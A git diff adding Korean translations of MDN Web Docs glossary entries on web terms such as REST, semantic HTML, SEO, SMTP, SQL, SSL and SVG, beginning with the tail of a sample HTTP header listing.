+Content-Type: text/html; charset=utf-8
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a"
+Keep-Alive: timeout=5, max=997
+Last-Modified: Mon, 18 Jul 2016 02:36:04 GMT
+Server: Apache
+Set-Cookie: mykey=myvalue; expires=Mon, 17-Jul-2017 16:06:00 GMT; Max-Age=31449600; Path=/; secure
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+X-Backend-Server: developer2.webapp.scl3.mozilla.com
+X-Cache-Info: not cacheable; meta data too large
+X-kuma-revision: 1085259
+x-frame-options: DENY</pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술적_지식">기술적 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">모든 HTTP 헤더 목록</a></li>
+</ul>
diff --git a/files/ko/glossary/rest/index.html b/files/ko/glossary/rest/index.html
new file mode 100644
index 0000000000..47472e143c
--- /dev/null
+++ b/files/ko/glossary/rest/index.html
@@ -0,0 +1,24 @@
+---
+title: REST
+slug: Glossary/REST
+translation_of: Glossary/REST
+---
+<p><strong>REST(</strong>Representational State Transfer)는 효율적, 안정적이며 확장가능한 분산시스템을 가져올 수 있는소프트웨어 아키텍처 디자인 제약의 모음을 나타냅니다. 그리고 그 제약들을 준수했을 때 그 시스템은 RESTful하다고 일컬어집니다.</p>
+
+<p>REST의 기본 개념은 리소스입니다. 리소스의 예로는 잘 정의된 상태와  관계, 표준화된 작동방식과 형식을 가지고 전송되는 문서를 들 수 있습니다. 종종 타입이나 문서를 수정해야할 때, <a href="https://developer.mozilla.org/en-US/docs/Glossary/API">APIs</a>혹은 그 서비스는  어디에선가 액션을 불러일으키지 않고 스스로 RESTful을 호출합니다.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Glossary/World_Wide_Web">Web</a> 뒤의 기준 프로토콜인  <a href="https://developer.mozilla.org/en-US/docs/Glossary/HTTP">HTTP</a>은 문서와 하이퍼텍스트 링크 또한 전달하기 때문에, 간단한 HTTP APIs는 꼭 REST 제약을 지킬 필요가 없어도 통상적으로 RESTful APIs, RESTful services, 혹은 simply REST services라고 불립니다. 초보자는 REST API는 표준 웹 라이브러리 및 도구가 사용되는 HTTP서비스라고 가정해도 좋습니다.</p>
+
+<h3 id="REST와_관련된_개념_참고_사이트">REST와 관련된 개념 참고 사이트</h3>
+
+<ul>
+ <li><a href="http://www.restapitutorial.com/">restapitutorial.com</a></li>
+ <li><a href="http://restcookbook.com/">restcookbook.com</a></li>
+</ul>
+
+<h3 id="전반적인_지식">전반적인 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Representational_state_transfer", "REST")}} on Wikipedia</li>
+ <li><a href="https://www.service-architecture.com/articles/web-services/representational_state_transfer_rest.html">REST Architecture</a></li>
+</ul>
diff --git a/files/ko/glossary/self-executing_anonymous_function/index.html b/files/ko/glossary/self-executing_anonymous_function/index.html
new file mode 100644
index 0000000000..f4fac91ac7
--- /dev/null
+++ b/files/ko/glossary/self-executing_anonymous_function/index.html
@@ -0,0 +1,8 @@
+---
+title: Self-Executing Anonymous Function
+slug: Glossary/Self-Executing_Anonymous_Function
+translation_of: Glossary/Self-Executing_Anonymous_Function
+---
+<p>정의되자마자 실행되는 {{glossary("JavaScript")}} {{glossary("function")}}입니다.  (a.k.a. {{glossary("IIFE")}} (즉시실행함수))</p>
+
+<p>링크된 즉시실행함수 페이지에서 더 많은 정보를 얻을 수 있습니다.</p>
diff --git a/files/ko/glossary/semantics/index.html b/files/ko/glossary/semantics/index.html
new file mode 100644
index 0000000000..256defb7d1
--- /dev/null
+++ b/files/ko/glossary/semantics/index.html
@@ -0,0 +1,153 @@
+---
+title: Semantics
+slug: Glossary/Semantics
+tags:
+  - 의미론
+  - 의미론적 요소
+translation_of: Glossary/Semantics
+---
+<p><span class="seoSummary">프로그래밍에서,<strong>시맨틱</strong>은 코드 조각의 <em>의미</em>를 나타냅니다 — 예를 들어 ("이게 어떻게 시각적으로 보여질까?" 보다)"이 Javascript 라인을 실행하는 것은 어떤 효과가 있는가?", 혹은 "이 HTML 엘리먼트가 가진 목적이나 역할은 무엇인가?"</span></p>
+
+<h2 id="JavaScript_시맨틱">JavaScript 시맨틱</h2>
+
+<div class="hidden">
+<p>In JavaScript, consider a function that takes a string parameter, and returns an {{htmlelement("li")}} element with that string as its <code>textContent</code>. Would you need to look at the code to understand what the function did if it was called <code>build('Peach')</code>, or <code>createLiWithContent('Peach')</code>?</p>
+</div>
+
+<p>JavaScript의 경우입니다. <code>textContent</code> 문자열을 매개변수로 하고  {{htmlelement("li")}} 요소를 반환하는 함수를 생각해봅시다. 코드 볼 때, 함수를 <code>build('Peach')</code> 로 부르거나 <code>createLiWithContent('Peach')</code> 부르는 것 중 어느 것이 이 함수의 기능 파악하기에 쉬울까요?</p>
+
+<h2 id="CSS_시맨틱">CSS 시맨틱</h2>
+
+<div class="hidden">
+<p>In CSS, consider styling a list with <code>li</code> elements representing different types of fruits. Would you know what part of the DOM is being selected with <code>div &gt; ul &gt; li</code>, or <code>.fruits__item</code>?</p>
+</div>
+
+<p>CSS의 경우입니다. 다양한 종류의 과일을 나타내기 위해서는 리스트 태그 <code>li</code> 가 있다고 가정해봅시다.   <code>div&gt; ul&gt; li</code>  와 <code>.fruits__item </code>  둘 중 어떤 것이 어떤 DOM부분이 선택되었는지 잘 알려줄까요?</p>
+
+<h2 id="HTML_시맨틱">HTML 시맨틱</h2>
+
+<div class="hidden">
+<p>In HTML, for example, the {{htmlelement("h1")}} element is a semantic element, which gives the text it wraps around the role (or meaning) of "a top level heading on your page."</p>
+</div>
+
+<p>예를 들어 HTML에서는 {{htmlelement("h1")}} 은 시맨틱 요소입니다.  "이 페이지에서 최상위 제목" 인 텍스트를 감싸는 역할(또는 의미)를 나타냅니다.</p>
+
+<pre class="brush: html">&lt;h1&gt;This is a top level heading&lt;/h1&gt;</pre>
+
+<div class="hidden">
+<p>By default, most browser's <a href="/en-US/docs/Web/CSS/Cascade#User-agent_stylesheets">user agent stylesheet</a> will style an {{htmlelement("h1")}} with a large font size to make it <em>look </em>like a heading (although you could style it to look like anything you wanted).</p>
+
+<p>On the other hand, you could make any element <em>look</em> like a top level heading. Consider the following:</p>
+</div>
+
+<p>기본적으로 대부분의 브라우저의 <a href="/en-US/docs/Web/CSS/Cascade#User-agent_stylesheets">사용자 에이전트 스타일시트</a> {{htmlelement("h1")}} 가 제목(heading) 처럼 <em>보이도록</em>  큰사이즈 폰트로 스타일을 만듭니다(당신이 원하는 대로 스타일을 바꿀 수도 있지만요).</p>
+
+<p>반면에 모든 요소를 ​​'최상위 제목'처럼 <em>보이게</em> 할 수 있습니다. 다음을 고려하세요:</p>
+
+<pre class="brush: html">&lt;span style="font-size: 32px; margin: 21px 0;"&gt;Is this a top level heading?&lt;/span&gt;</pre>
+
+<div class="hidden">
+<p>This will render it to look like a top level heading, but it has no semantic value, so it will not get any extra benefits as described above. It is therefore a good idea to use the right HTML element for the right job.</p>
+</div>
+
+<p>이렇게 하면 top level heading 처럼 보이지만 의미적 가치(semantic value)가 없으므로 위에서 설명한 것처럼 추가적인 이점은 얻을 수 없습니다. 따라서 작업에 적합한 HTML 요소를 사용하는 것이 좋습니다.</p>
+
+<div class="hidden">
+<p>HTML should be coded to represent the <em>data</em> that will be populated and not based on its default presentation styling. Presentation (how it should look), is the sole responsibility of <a href="/en-US/docs/Web/CSS">CSS</a>.</p>
+</div>
+
+<p>HTML은 채워질 <em>데이터</em>를 나타내도록 코딩해야합니다.  기본 프리젠테이션 스타일기반이 아니라요. 프레젠테이션(어떻게 보여져야만 하는가)은 <a href="/en-US/docs/Web/CSS">CSS</a>만의 단독 역할입니다.</p>
+
+<div class="hidden">
+<p>Some of the benefits from writing semantic markup are as follows:</p>
+
+<ul>
+ <li>Search engines will consider its contents as important keywords to influence the page's search rankings (see {{glossary("SEO")}})</li>
+ <li>Screen readers can use it as a signpost to help visually impaired users navigate a page</li>
+ <li>Finding blocks of meaningful code is significantly easier than searching though endless <code>div</code>s with or without semantic or namespaced classes</li>
+ <li>Suggests to the developer the type of data that will be populated</li>
+ <li>Semantic naming mirrors proper custom element/component naming</li>
+</ul>
+</div>
+
+<p>의미론적인 마크업을 사용하면 아래와 같은 이점이 있습니다:</p>
+
+<ul>
+ <li>검색 엔진은 의미론적 마크업 을 페이지의 검색 랭킹에 영향을 줄 수 있는 중요한 키워드로 간주합니다 ({{glossary ( "SEO")}} 참조).</li>
+ <li>시각 장애가 있는 사용자가 화면 판독기로 페이지를 탐색할 때 의미론적 마크업을 푯말로 사용할 수 있습니다.</li>
+ <li>의미없고 클래스 이름이 붙여져있거나 그렇지 않은 끊임없는 <code>div</code> 들을 탐색하는 것보다, 의미있는 코드 블록을 찾는 것이 훨씬 쉽습니다.</li>
+ <li>개발자에게 태그 안에 채워질 데이터 유형을 제안합니다</li>
+ <li>의미있는 이름짓기(Semantic naming)는 적절한 사용자 정의 요소 / 구성 요소의 이름짓기(namimg)를 반영합니다.</li>
+</ul>
+
+<div class="hidden">
+<p>When approaching which markup to use, ask yourself, "What element(s) best describe/represent the data that I'm going to populate?" For example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc</p>
+</div>
+
+<p>사용할 마크업에 접근할 때 스스로에게 물어보세요. "내가 채울 데이터를 가장 잘 설명하고 나타내는 요소는 무엇일까?" 예를 들어, 그 데이터는 정렬된 목록입니까? 정렬되지 않은 목록입니까?, 관련된 정보가 제외된 섹션이 있는 아티클(article)입니까?, 정의의 나열입니까?,  캡션이 필요한 그림 또는 이미지입니까?, 사이트 전체 머리글(header) 및 바닥글(footer) 외에 또 다른 머리글과 바닥글이 있어야합니까? 등등</p>
+
+<ul>
+</ul>
+
+<h2 id="의미론적_요소element들">의미론적 요소(element)들</h2>
+
+<ul>
+</ul>
+
+<div class="hidden">
+<p>These are <em>some</em> of the roughly 100 semantic <a href="/en-US/docs/Web/HTML/Element">elements</a> available:</p>
+</div>
+
+<p>사용가능한 백 여개 정도의 요소(<a href="/en-US/docs/Web/HTML/Element">elements</a>)들이 있습니다.</p>
+
+<ul>
+ <li>{{htmlelement("article")}}</li>
+ <li>{{htmlelement("aside")}}</li>
+ <li>{{htmlelement("details")}}</li>
+ <li>{{htmlelement("figcaption")}}</li>
+ <li>{{htmlelement("figure")}}</li>
+ <li>{{htmlelement("footer")}}</li>
+ <li>{{htmlelement("header")}}</li>
+ <li>{{htmlelement("main")}}</li>
+ <li>{{htmlelement("mark")}}</li>
+ <li>{{htmlelement("nav")}}</li>
+ <li>{{htmlelement("section")}}</li>
+ <li>{{htmlelement("summary")}}</li>
+ <li>{{htmlelement("time")}}</li>
+</ul>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element#Inline_text_semantics">HTML element reference</a> on MDN</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#Problems_solved_by_HTML5">Using HTML sections and outlines</a> on MDN</li>
+ <li>{{interwiki("wikipedia", "Semantics#Computer_science", "The meaning of semantics in computer science")}} on Wikipedia</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+
+  <ul>
+   <li>{{Glossary("SEO")}}</li>
+  </ul>
+ </li>
+ <li>Some of semantic elements in HTML
+  <ul>
+   <li>{{htmlelement("article")}}</li>
+   <li>{{htmlelement("aside")}}</li>
+   <li>{{htmlelement("details")}}</li>
+   <li>{{htmlelement("figcaption")}}</li>
+   <li>{{htmlelement("figure")}}</li>
+   <li>{{htmlelement("footer")}}</li>
+   <li>{{htmlelement("header")}}</li>
+   <li>{{htmlelement("main")}}</li>
+   <li>{{htmlelement("mark")}}</li>
+   <li>{{htmlelement("nav")}}</li>
+   <li>{{htmlelement("section")}}</li>
+   <li>{{htmlelement("summary")}}</li>
+   <li>{{htmlelement("time")}}</li>
+  </ul>
+ </li>
+</ul>
+</section>
diff --git a/files/ko/glossary/seo/index.html b/files/ko/glossary/seo/index.html
new file mode 100644
index 0000000000..7961e629da
--- /dev/null
+++ b/files/ko/glossary/seo/index.html
@@ -0,0 +1,41 @@
+---
+title: SEO
+slug: Glossary/SEO
+tags:
+  - Glossary
+  - Intro
+  - SEO
+  - Search
+  - WebMechanic
+translation_of: Glossary/SEO
+---
+<p><strong>SEO</strong>(검색 엔진 최적화)는 웹사이트가 검색 결과에 더 잘 보이도록 최적화하는 과정입니다. 검색 랭크 개선이라고도 합니다.</p>
+
+<p>검색 엔진은 웹을 {{Glossary("Crawler", "크롤링")}}하면서 페이지에서 페이지로 링크를 따라가고, 찾은 콘텐츠의 색인을 생성합니다. 검색 결과에 보이는 것은 바로 그 콘텐츠 색인입니다. 크롤러는 일정 규칙을 따르므로, SEO를 진행하며 해당 규칙을 밀접하게 따라가면 웹사이트가 검색 결과의 보다 높은 곳에 노출돼 (전자상거래와 광고라면) 수익으로 연결될 수도 있습니다.</p>
+
+<p>검색 엔진은 일부 SEO 가이드라인을 제공하긴 하지만 대형 검색 엔진의 경우 결과 랭킹은 영업 비밀로 취급합니다. 따라서 SEO는 검색 엔진의 공식 가이드라인에 더해 경험적인 지식, 논문과 특허 등에서 가져온 이론적 지식을 결합한 과정입니다.</p>
+
+<p>SEO는 세 가지 큰 방향으로 나눌 수 있습니다.</p>
+
+<dl>
+ <dt>기술적</dt>
+ <dd>콘텐츠 마크업을 작성할 때 시맨틱 {{Glossary("HTML")}}을 사용하세요. 색인하길 원했던 콘텐츠만 크롤러가 긁어갈 것입니다.</dd>
+ <dt>콘텐츠 작성</dt>
+ <dd>방문자층에 맞는 언어로 콘텐츠를 작성하세요. 이미지와 더불어 텍스트를 사용해, 크롤러가 주제를 이해할 수 있도록 도우세요.</dd>
+ <dt>인기도</dt>
+ <dd>다른 유명한 사이트에서 여러분의 사이트로 링크를 했다면 더 많은 트래픽을 받습니다.</dd>
+</dl>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "검색 엔진 최적화")}} on Wikipedia</li>
+</ul>
+
+<h3 id="SEO_배우기">SEO 배우기</h3>
+
+<ul>
+ <li><a href="https://www.google.com/webmasters/learn/">Google Webmasters 학습 문서</a></li>
+</ul>
diff --git a/files/ko/glossary/server/index.html b/files/ko/glossary/server/index.html
new file mode 100644
index 0000000000..87ec127d89
--- /dev/null
+++ b/files/ko/glossary/server/index.html
@@ -0,0 +1,25 @@
+---
+title: Server
+slug: Glossary/Server
+translation_of: Glossary/Server
+---
+<p>서버는 일반적으로 클라이언트라고 불리는 사용자에게 서비스를 제공하는 소프트웨어 또는 하드웨어이다.  하드웨어 서버는 네트워크의 공유 컴퓨터로서, 대개 강력하고 데이터 센터에 저장된다.  소프트웨어 서버(하드웨어 서버에서 자주 실행됨)는 클라이언트 프로그램에 서비스를 제공하는 프로그램 또는 사용자 클라이언트의 {{glossary("UI","user interface")}}을 말한다.</p>
+
+<p>서비스는 일반적으로 지역 네트워크 또는 인터넷과 같은 광역 네트워크를 통해 제공된다. 클라이언트 프로그램과 서버 프로그램은 전통적으로 {{glossary("API")}}을 사용하여 인코딩된 메시지를 {{glossary("protocol", "프로토콜")}}에 전달하여 연결한다.</p>
+
+<p>예를 들어:</p>
+
+<ul>
+ <li>인터넷에 연결된 웹 서버가 이 페이지를 읽을 수 있도록 브라우저 소프트웨어로 {{glossary("HTML")}}을 보내고 있음.</li>
+ <li>파일, 이름, 메일, 인쇄 및 팩스의 로컬 영역 네트워크 서버</li>
+ <li>데이터 센터의 미니컴퓨터, 메인프레임, 슈퍼컴퓨터</li>
+</ul>
+
+<h2 id="더_알아보기"><strong>더 알아보기</strong></h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Learn/What_is_a_web_server">서버의 소개</a></li>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Server (computing)")}}</li>
+</ul>
diff --git a/files/ko/glossary/shim/index.html b/files/ko/glossary/shim/index.html
new file mode 100644
index 0000000000..edc7f37edd
--- /dev/null
+++ b/files/ko/glossary/shim/index.html
@@ -0,0 +1,14 @@
+---
+title: 심
+slug: Glossary/Shim
+translation_of: Glossary/Shim
+---
+<p><strong>심<sup>shim</sup></strong>은 이미 존재하는 코드의 동작을 바로잡는 데 사용되는 코드 모음이며, 보통 문제를 야기시키는 신규 API에 대응한다. 시중에 배포된 브라우저에서 지원되지 않는 신규 API를 구현하는 폴리필({{Glossary("polyfill")}})과 대조된다. </p>
+
+<h2 id="더_많은_정보">더 많은 정보</h2>
+
+<h3 id="일반_정보">일반 정보</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Shim (computing)", "Shim")}}, 위키피디아</li>
+</ul>
diff --git a/files/ko/glossary/signature/function/index.html b/files/ko/glossary/signature/function/index.html
new file mode 100644
index 0000000000..c3091298a7
--- /dev/null
+++ b/files/ko/glossary/signature/function/index.html
@@ -0,0 +1,52 @@
+---
+title: Signature (functions)
+slug: Glossary/Signature/Function
+translation_of: Glossary/Signature/Function
+---
+<p><strong>함수 시그니처</strong>(<em>타입 </em>시그니처, <em>메소드 </em>시그니처)는 {{Glossary("Function", "functions")}} 그리고 {{Glossary("Method", "methods")}}의 입력과 출력을 정의합니다.</p>
+
+<p>시그니처는 다음을 포함합니다:</p>
+
+<ul>
+ <li>{{Glossary("Parameter", "parameters")}}와 그들의 {{Glossary("Type", "types")}}</li>
+ <li>반환값과 타입</li>
+ <li>던져지거나 콜백으로 반환되는 {{Glossary("Exception", "exceptions")}}</li>
+ <li>{{Glossary("OOP", "object-oriented")}} 프로그램에서 메소드의 접근 권한에 대한 정보 (<code>public</code>, <code>static</code>, 혹은 <code>prototype</code>와 같은 키워드들).</li>
+</ul>
+
+<h2 id="In_depth">In depth</h2>
+
+<h3 id="Signatures_in_JavaScript">Signatures in JavaScript</h3>
+
+<p>{{Glossary("JavaScript")}}는 <em>약한 타입</em> 혹은 <em>동적 </em>언어입니다. 이것은 여러분이 변수의 타입을 미리 선언하지 않아도 됨을 의미합니다. 타입은 프로그램이 실행되는 동안 자동으로 결정됩니다. 하지만 JavaScript에서의 시그니처는 여전히 여러분에게 메소드에 대한 몇 가지 정보를 제공해줄 수 있습니다:</p>
+
+<pre class="brush: js">MyObject.prototype.myFunction(value)</pre>
+
+<ul>
+ <li>메소드는 <code>MyObject</code>라 불리는 {{Glossary("object")}}에 장착되어 있습니다.</li>
+ <li>메소드는 <code>MyObject</code>의 <code>prototype</code>에 장착되어 있습니다. (따라서 이 메소드는 {{Glossary("instance method")}} 입니다.) 반대의 경우는 {{Glossary("static method")}}입니다.</li>
+ <li>메소드의 이름은 <code>myFunction</code>입니다.</li>
+ <li>메소드는 하나의 인자를 받고, 그것의 이름은 <code>value</code> 입니다.</li>
+</ul>
+
+<h3 id="Signatures_in_Java">Signatures in Java</h3>
+
+<p>{{Glossary("Java")}}는 VM수준에서 메서드와 클래스를 식벽하는데 시그니처가 사용됩니다.  Java 코드를 싱행하기 위해서는 변수의 타입을 선언해야 합니다. Java는 강한 타입이며, 컴파일 시간에 parameters의 type의 정확성을 검사합니다.</p>
+
+<pre class="brush: java">public static void main(String[] args)</pre>
+
+<ul>
+ <li>The <code>public</code> keyword is an access modifier and indicates that this method can be called by any object.</li>
+ <li>The <code>static</code> keyword indicates that this method is a class method as opposed to being an instance method.</li>
+ <li>The <code>void</code> keyword indicates that this method has no return value.</li>
+ <li>The name of the method is <code>main</code>.</li>
+ <li>The method accepts one parameter of type String Array. It is named <code>args.</code></li>
+</ul>
+
+<h2 id="Learn_more"><code>Learn more</code></h2>
+
+<h3 id="General_knowledge"><code>General knowledge</code></h3>
+
+<ul>
+ <li><span>{{Interwiki("wikipedia", "Type signature#Java", "Java internal type signatures")}} on Wikipedia</span></li>
+</ul>
diff --git a/files/ko/glossary/signature/index.html b/files/ko/glossary/signature/index.html
new file mode 100644
index 0000000000..71d2207441
--- /dev/null
+++ b/files/ko/glossary/signature/index.html
@@ -0,0 +1,19 @@
+---
+title: Signature
+slug: Glossary/Signature
+tags:
+  - Disambiguation
+  - Glossary
+  - NeedsTranslation
+  - TopicStub
+translation_of: Glossary/Signature
+---
+<p>The term <strong>signature</strong> can have several meanings depending on the context. It may refer to:</p>
+
+<p>{{GlossaryDisambiguation}}</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Signature_(disambiguation)", "Signature")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/simd/index.html b/files/ko/glossary/simd/index.html
new file mode 100644
index 0000000000..8ea2e76c6d
--- /dev/null
+++ b/files/ko/glossary/simd/index.html
@@ -0,0 +1,20 @@
+---
+title: SIMD
+slug: Glossary/SIMD
+tags:
+  - Glossary
+  - JavaScript
+translation_of: Glossary/SIMD
+---
+<p>SIMD ("seem-dee"로 발음) 는 {{Interwiki("wikipedia","Flynn%27s_taxonomy","컴퓨터 구조 분류")}} 중 하나인 단일 명령어/복수 데이터(<strong>Single Instruction/Multiple Data</strong>)의 단축입니다. SIMD는 같은 연산 하나가 결과상 데이터 레벨 병렬화 및 성능 향상이 되는 여러 데이터 요소(point)에 수행될 수 있게 합니다, 가령 3D graphics 및 video 처리, 물리 시뮬레이션 또는 암호화(cryptography) 및 다른 도메인을 위한.</p>
+
+<p>명령어 또는 데이터 집합 내 병렬화 없는 순차 구조의 경우 {{Glossary("SISD")}} 참조.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/SIMD","SIMD in JavaScript","","true")}}</li>
+ <li>{{Interwiki("wikipedia", "SIMD")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/smtp/index.html b/files/ko/glossary/smtp/index.html
new file mode 100644
index 0000000000..f38e300389
--- /dev/null
+++ b/files/ko/glossary/smtp/index.html
@@ -0,0 +1,31 @@
+---
+title: SMTP
+slug: Glossary/SMTP
+tags:
+  - Beginner
+  - Glossary
+  - Infrastructure
+translation_of: Glossary/SMTP
+---
+<p><span class="seoSummary"><strong>SMTP</strong>(Simple Mail Transfer Protocol)는 새로운 이메일을 전송할 때 사용하는 {{glossary("protocol", "프로토콜")}}입니다.</span> {{glossary("POP3")}}나 {{glossary("NNTP")}}처럼, SMTP도 {{glossary("state machine", "상태 기계")}} 기반 프로토콜입니다.</p>
+
+<p>SMTP는 상대적으로 직관적입니다. 복잡함을 유발하는 주요 원인은 다양한 인증 방법(<a class="external" href="http://en.wikipedia.org/wiki/Generic_Security_Services_Application_Program_Interface"><abbr title="Generic Security Services Application Program Interface">GSSAPI</abbr></a>, <a class="external" href="http://en.wikipedia.org/wiki/CRAM-MD5"><abbr title="challenge-response authentication mechanism">CRAM-MD5</abbr></a>, <a class="external" href="http://en.wikipedia.org/wiki/NTLM"><abbr title="NT LAN Manager">NTLM</abbr></a>, MSN, AUTH LOGIN, AUTH PLAIN...) 지원, 오류 응답 처리, 인증 실패(서버에서 어떤 방법을 지원한다고 주장했으나 사실 아닐 때 등) 시 처리 등입니다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Glossary">용어 사전</a>
+
+  <ol>
+   <li>{{glossary("NNTP")}}</li>
+   <li>{{glossary("POP3")}}</li>
+   <li>{{glossary("protocol", "프로토콜")}}</li>
+   <li>{{Glossary("state machine", "상태 기계")}}</li>
+  </ol>
+ </li>
+ <li>위키백과
+  <ol>
+   <li>{{Interwiki("wikipedia", "SMTP")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/sql/index.html b/files/ko/glossary/sql/index.html
new file mode 100644
index 0000000000..60c2735897
--- /dev/null
+++ b/files/ko/glossary/sql/index.html
@@ -0,0 +1,21 @@
+---
+title: SQL
+slug: Glossary/SQL
+translation_of: Glossary/SQL
+---
+<p><strong>SQL </strong>(구조화 질의어, Structured Query Language) 은 테이블 기반 데이터베이스에서 데이터를 업데이트, 수집, 계산하기 위해 디자인된 기술형 컴퓨터 언어입니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>위키백과의 {{Interwiki("wikipedia", "SQL")}}</li>
+</ul>
+
+<h3 id="SQL_배우기">SQL 배우기</h3>
+
+<ul>
+ <li><a href="http://sqlzoo.net/wiki/SQL_Tutorial">sqlzoo.net에서 SQL 배우기</a></li>
+ <li><a href="http://www.tutorialspoint.com/sql/">Tutorial Point</a></li>
+</ul>
diff --git a/files/ko/glossary/ssl/index.html b/files/ko/glossary/ssl/index.html
new file mode 100644
index 0000000000..d522912ce3
--- /dev/null
+++ b/files/ko/glossary/ssl/index.html
@@ -0,0 +1,27 @@
+---
+title: Secure Sockets Layer (SSL)
+slug: Glossary/SSL
+translation_of: Glossary/SSL
+---
+<p class="seoSummary">Secure Sockets Layer(SSL)는 클라이언트와 서버 간의 안전한 링크를 통해 송수신되는 모든 데이터를 안전하게 보장하는 과거의 보안 표준 기술이었다. SSL 버전 3.0은 Netscape가 1999년에 발표했으며 현재에는 {{Glossary("TLS", "Transport Layer Security (TLS)")}} 로 대체되었다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>See also
+  <ol>
+   <li><a href="/en-US/docs/Web/Security/Transport_Layer_Security">Transport Layer Security (TLS) protocol</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/Glossary">Glossary</a>
+  <ol>
+   <li>{{Glossary("HTTPS")}}</li>
+   <li>{{Glossary("TLS")}}</li>
+  </ol>
+ </li>
+ <li>Wikipedia articles
+  <ol>
+   <li>{{Interwiki("wikipedia", "Transport Layer Security")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/stacking_context/index.html b/files/ko/glossary/stacking_context/index.html
new file mode 100644
index 0000000000..b28ba6e62c
--- /dev/null
+++ b/files/ko/glossary/stacking_context/index.html
@@ -0,0 +1,18 @@
+---
+title: 쌓임 맥락
+slug: Glossary/Stacking_context
+tags:
+  - CSS
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/Stacking_context
+---
+<p><strong>쌓임 맥락</strong>은 마치 책상 위의 카드를 옆으로 늘어놓거나 서로 겹치게 만들 수 있듯, 웹 페이지에서 어떤 요소가 위에 그려지는지 결정하는 방법입니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">자세한 설명과 예제</a></li>
+</ul>
diff --git a/files/ko/glossary/string/index.html b/files/ko/glossary/string/index.html
new file mode 100644
index 0000000000..a64203c3a0
--- /dev/null
+++ b/files/ko/glossary/string/index.html
@@ -0,0 +1,17 @@
+---
+title: String
+slug: Glossary/String
+translation_of: Glossary/String
+---
+<p id="Summary">특정한 컴퓨터 프로그래밍 언어에서 문자를 표현하는 데 사용되는, {{Glossary("character","문자")}} 열 시퀀스이다.</p>
+
+<p>{{Glossary("JavaScript")}}에서 String은 {{Glossary("Primitive", "원시 값들")}} 중 하나이고 {{jsxref("String")}}객체는 String primitive를 둘러싼 {{Glossary("wrapper")}}다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "String (computer science)")}} </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures#String_type">JavaScript data types and data structures</a></li>
+</ul>
diff --git a/files/ko/glossary/svg/index.html b/files/ko/glossary/svg/index.html
new file mode 100644
index 0000000000..9ecc5ecc36
--- /dev/null
+++ b/files/ko/glossary/svg/index.html
@@ -0,0 +1,37 @@
+---
+title: 가변 벡터 도형 (SVG)
+slug: Glossary/SVG
+tags:
+  - SVG
+  - 가변 벡터 도형
+  - 그래픽
+translation_of: Glossary/SVG
+---
+<p><em>Scalable Vector Graphics</em> (<strong>SVG</strong>)는  {{Glossary("XML")}} 신텍스에 기반을 둔 2D 벡터 이미지 형식(포맷)이다.</p>
+
+<p>{{Glossary("W3C")}}는 1990년 후반부터 SVG를 사용하기 시작했지만, SVG를 지원하는 {{Glossary("Microsoft Internet Explorer", "Internet Explorer")}} 9가 출시된 후에야 널리 사용되기 시작했다. 현재 주요 웹브라우저({{Glossary("browser","browsers")}})들은 SVG를 지원한다.</p>
+
+<p>{{Glossary("XML")}} 신텍스를 기반으로 한 SVG는 {{Glossary("CSS")}}를 통해 스타일 처리가 가능하고,  자바스크립트({{Glossary("JavaScript")}})를 사용해 상호소통이 가능하다. 현재 HTML5는  SVG{{Glossary("Tag","tags")}}가 {{Glossary("HTML")}}문서에서 직접 사용 되도록 지원한다.</p>
+
+<p>벡터 이미지 형식 (<a href="http://en.wikipedia.org/wiki/Vector_graphics" rel="external">vector image format</a>)으로써, SVG 그래픽은 무한정적인 크기를 가질 수 있고, 이러한 점 때문에 어떠한 화면 크기에도 적용 가능한  인터페이스 요소와 그래픽을 만들 수 있어 반응형 디자인({{Glossary("responsive design")}}) 에서 아주 유용하게 여겨진다. 또한 SVG는 클리핑(clipping), 마스킹(masking), 필터(filter), 애니매이션(animation) 등 여러가지 유용한 툴 셋들을 제공한다.</p>
+
